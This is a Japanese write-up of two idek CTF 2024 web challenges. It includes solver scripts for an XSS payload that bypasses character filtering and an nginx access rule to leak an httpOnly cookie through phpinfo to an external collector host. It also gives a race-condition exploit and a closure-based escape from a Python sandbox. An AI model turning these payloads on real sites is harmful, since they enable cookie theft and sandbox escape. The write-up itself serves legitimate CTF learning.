Idek ctf 2024 web writeup
Idek CTF 2024 は94位でした。最近調子よかったのが嘘のように全然解けなかったけど、久しぶりに学びの多いCTFだったと前向きに捉えたいです。
とりあえず解けた二問のwriteupです。
✅ Hello (135 pts 161/1070 クリア率15%)
クエリパラメータに名前を入力すると、「Hello, <名前>」と表示されるだけのページ。
<?php
function Enhanced_Trim($inp) {
$trimmed = array("\r", "\n", "\t", "/", " ");
return str_replace($trimmed, "", $inp);
}
if(isset($_GET['name']))
{
$name=substr($_GET['name'],0,23);
echo "Hello, ".Enhanced_Trim($_GET['name']);
}
?>
URLを報告するとBOTがそのページを訪れるので、そのcookieを盗むのが最終目標だ。
const visit = async () => {
/* snap */
const page = await ctx.newPage();
await page.goto(CHALLENGE_ORIGIN, { timeout: 3000 });
await page.setCookie({ name: 'FLAG', value: 'idek{PLACEHOLDER}', httpOnly: true });
await page.goto(TARGET_URL, { timeout: 3000, waitUntil: 'domcontentloaded' });
await sleep(5000);
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
};
nameの文字のうち、"\r", "\n", "\t", "/", " "
の文字が取り除かれてしまう。その他の文字だけでXSSはできないだろうか?
/
の禁止から、閉じタグがなくても良いタグを利用したいので、img
やiframe
が候補にあがる。<iframe onload="...">
としたいが、スペースやその代替になりそうな改行コードも禁止されている。
Hacktricksのチートシートを見ると、他にもスペースの代替として使える文字があることが分かる。改ページ記号\f
を利用して、<iframe\fonload="...">
とすれば良さそうだ。
これでXSSでdocument.location.assign("https://xxx.ngrok.app?cookie=" + document.cookie)
とすれば良さそうに思えるが、 そうはいかない。cookieのhttpOnly属性が有効となっており、javascriptからcookieを参照できないようになっている。
await page.setCookie({ name: 'FLAG', value: 'idek{PLACEHOLDER}', httpOnly: true });
index.php
の他にphpinfo()
を見ることができるinfo.php
が存在する。
<?php
phpinfo();
?>
ただし、nginxによって、127.0.0.1以外からのアクセスができないようしてあるように思える。
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
location / {
root /usr/share/nginx/html;
index index.php index.html index.htm;
}
location = /info.php {
allow 127.0.0.1;
deny all;
}
location ~ \.php$ {
root /usr/share/nginx/html;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
fastcgi_pass unix:/var/run/php/php8.2-fpm.sock;
}
}
}
Hacktricksによれば、この設定は完全一致しか弾かないので、/info.php/index.php
とすることによって回避可能である。
phpinfo()
は、リクエストのcookieの情報が含まれるので、この結果を切り取って自分のサイトに送り返したい。
以上を踏まえて、以下のソルバーで得られたURLでフラグを取得した。
import requests
URL = "http://idek-hello.chal.idek.team:1337/"
# URL = "http://localhost:1337/"
EVIL = "https://tchen.ngrok.pizza/"
s = requests.session()
code = "fetch('info.php\\x2findex.php').then(x=>x.text()).then(x=>fetch(decodeURI('http:\\x2f\\x2ftepelchen.free.beeceptor.com?v='+btoa(x.split('Variables')[1].split('Credits')[0]))))"
payload = f"<iframe\fonload=\"{code}\">"
assert len([x for x in ["\r", "\n", "\t", "/", " "] if x in payload]) == 0
r = s.get(URL, params={
"name": payload
})
print(r.url)
✅ Crator (257 pts 63/1070 クリア率5.9%)
競技プログラミングプラットフォーム的なサイト。pythonコードを提出すると、そのコードに対する入力を入れて実行し、正答したかをチェックしてくれる。
hello inputという問題のテストケースのうちの一つがフラグとなっているが、hidden=Trueとなっている要素は直接は見ることができない。
with Session(engine) as db:
flag = 'idek{fake_flag}'
if flag:
flag_case = db.scalar(select(ProblemTestCase).filter_by(problem_id="helloinput", hidden=True))
# flag_case.input = flag
flag_case.output = flag + "\n"
db.commit()
pythonコードはsandbox化された上でサーバー上で実行される。/tmp/{submission_id}.in
、/tmp/{submission_id}.expected
というファイルが生成され、提出したコードの出力を/tmp/{submission_id}.out
というファイルで書き込んだ後、それらのファイルを比較するようだ。また、実行はnobody
ユーザーが行うので、コードから読み込むことができるファイルは実質/tmp/
フォルダ下のみとなっている。
@app.route('/submit/<problem_id>', methods=['GET', 'POST'])
@login_required
def submit(problem_id):
with Session(engine) as db:
""" snap """
# Prepare code
shutil.copy('sandbox.py', f'/tmp/sandbox.py')
with open(f'/tmp/{submission_id}.py', 'w') as f:
f.write(f'__import__("sandbox").Sandbox("{submission_id}")\n' + code.replace('\r\n', '\n'))
# Run testcases
skip_remaining_cases = False
for testcase in testcases:
# Set testcase staus
submission_case = SubmissionOutput(submission_id=submission_id, testcase_id=testcase.id, status='Pending')
db.add(submission_case)
if skip_remaining_cases:
submission_case.status = 'Skipped'
db.commit()
continue
if not testcase.hidden:
submission_case.expected_output = testcase.output
# Set up input and output files
with open(f'/tmp/{submission_id}.in', 'w') as f:
f.write(testcase.input.replace('\r\n', '\n'))
with open(f'/tmp/{submission_id}.expected', 'w') as f:
f.write(testcase.output.replace('\r\n', '\n'))
# Run code
try:
proc = subprocess.run(f'sudo -u nobody -g nogroup python3 /tmp/{submission_id}.py < /tmp/{submission_id}.in > /tmp/{submission_id}.out', shell=True, timeout=1)
if proc.returncode != 0:
submission.status = 'Runtime Error'
skip_remaining_cases = True
submission_case.status = 'Runtime Error'
else:
with open(f"/tmp/{submission_id}.out", "r") as f:
print(submission_id, f.read(), flush=True)
with open(f"/tmp/{submission_id}.expected", "r") as f:
print(submission_id, f.read(), flush=True)
diff = subprocess.run(f'diff /tmp/{submission_id}.out /tmp/{submission_id}.expected', shell=True, capture_output=True)
x = diff.stdout
print(submission_id, x, flush=True)
if x:
submission.status = 'Wrong Answer'
skip_remaining_cases = True
submission_case.status = 'Wrong Answer'
else:
submission_case.status = 'Accepted'
except subprocess.TimeoutExpired:
submission.status = 'Time Limit Exceeded'
skip_remaining_cases = True
submission_case.status = 'Time Limit Exceeded'
# Cleanup
with open(f'/tmp/{submission_id}.out', 'r') as f:
submission_case.actual_output = f.read(1024)
db.commit()
__cleanup_test_case(submission_id)
pythonのjail問題として解くわけでは無いのでSandbox化の全容は省略するが、open
関数は/tmp/{submission_id}.expected
を読み込めないようになっている。
def _safe_open(open, submission_id):
def safe_open(file, mode="r"):
if mode != "r":
raise RuntimeError("Nein")
file = str(file)
if file.endswith(submission_id + ".expected"):
raise RuntimeError("Nein")
return open(file, "r")
return safe_open
ここで、読み込めないファイルは、現在のsubmission_idのexpectedファイルのみであることに注目する。つまり、並行して他のsubmission_idのexpectedファイルが存在していれば、それを読み込むことはできるのではないだろうか。
一度テストの流れをまとめると(以下submission_idが1想定)、
-
/tmp/1.py
が作成される。 - 1つ目のテストケースの内容(フラグなし)で
/tmp/1.in
と/tmp/1.expected
が生成される -
/tmp/1.py
が実行され、/tmp/1.out
が生成される。 -
/tmp/1.expected
と/tmp/1.out
の内容が比較され、Wrong Answer
かAccepted
かTime Limit Exceeded
がその回答の状態として保存される。 -
/tmp/1.in
、/tmp/1.expected
、/tmp/1.out
が削除される。 - 2つ目のテストケースの内容(フラグあり)で
/tmp/1.in
と/tmp/1.expected
が生成される - ...以下同様
ここでrace conditionを利用して、submission_id=1をダミー、submission_id=2をファイルを読み込むコードとして実行するとする
-
/tmp/1.py
が作成される。 -
/tmp/2.py
が作成される。 - 1つ目のテストケースにおいて、submission_id=1が通過する。
- 1つ目のテストケースにおいて、submission_id=2が通過する。
- 2つ目のテストケースの内容で
/tmp/1.in
と/tmp/1.expected
が生成される - 2つ目のテストケースの内容で
/tmp/2.in
と/tmp/2.expected
が生成される -
/tmp/1.py
が実行されるが、一定時間終わらない。 -
/tmp/2.py
が実行され、/tmp/1.expected
の内容を読み取る -
/tmp/1.py
が終了する - ...
ここで、実行結果はWrong Answer
かAccepted
かTime Limit Exceeded
しかなく、Blind searchしか行えないことに注意する。
また、一定時間終わらないようにする方法だが、import time
はsandbox化により禁止されており、while(True)によるブロックは、サーバーのスペック不足によりサーバーの再起動につながってしまうため行えなかった。ループ毎にFileIOを噛ませることによって、これを回避した。
以下がソルバー
from concurrent.futures import ThreadPoolExecutor
import re
import string
import sys
import time
import requests
URL = "http://localhost:1337/"
# URL = "https://crator-ebf96b4883540924.instancer.idek.team/"
s = requests.session()
user = {
"username": "user",
"password": "pass"
}
r = s.post(URL + "register", data=user)
r = s.post(URL + "login", data=user)
def dummy():
s.post(URL + "submit/helloinput", data={
"code": f"inp=input();print(inp);inp[0] != 'W' and [open('sandbox.py', 'r').readline() for i in range(60000)]"
}, timeout=3)
def test(known, i, c, num):
time.sleep(0.2)
r = s.post(URL + "submit/helloinput", data={
"code": f"inp=input();print(inp if inp[0] == 'W' else '{known + c}' + open('/tmp/{num}.expected').read()[{i+1}:-1])"
}, timeout=3)
print(r.status_code)
status = re.findall('<h3>Status: (.+)</h3>',r.text)[0]
print([known, i, c, status], flush=True)
if status == 'Accepted':
print(known + c)
return known + c
else:
return
r = s.get(URL + "submissions")
re_res = re.findall('<a href="/submission/(\d+)">', r.text)
num = len(re_res) + 1
print(num)
known = 'idek{'
for i in range(len(known), 1000):
for c in ['_', '}', *string.printable]:
with ThreadPoolExecutor(max_workers=10) as executor:
rs = [executor.submit(dummy), executor.submit(test, known, len(known), c, num)]
executor.shutdown()
num += 2
rs[0].result()
if rs[1].result():
known += c
break
time.sleep(2)
別解: pyjailとして解く
pyjailとして解くこともできた。_safe_open
がクロージャーとして定義されているので、元のopen
関数はopen.__closure__[0].cell_contents
として取得できる。これを利用して、一回目の実行で/tmp/flag
に書き込み、二回目の一つ目のテスト(実行結果が隠されない)でその内容を読み取った。
import requests
URL = "http://localhost:1337/"
# URL = "https://crator-ebf96b4883540924.instancer.idek.team/"
s = requests.session()
user = {
"username": "user",
"password": "pass"
}
r = s.post(URL + "register", data=user)
r = s.post(URL + "login", data=user)
code = """
inp = input()
if inp[0] == "W":
print(inp);
else:
id = open.__closure__[1].cell_contents
newopen = open.__closure__[0].cell_contents
exp = newopen(f"/tmp/{id}.expected", "r").read()
newopen(f"/tmp/flag", "w+").write(exp)
"""
r = s.post(URL + "submit/helloinput", data={
"code": code
}, timeout=3)
code = """
newopen = open.__closure__[0].cell_contents
print(newopen(f"/tmp/flag", "r").read())
"""
r = s.post(URL + "submit/helloinput", data={
"code": code
}, timeout=3)
Discussion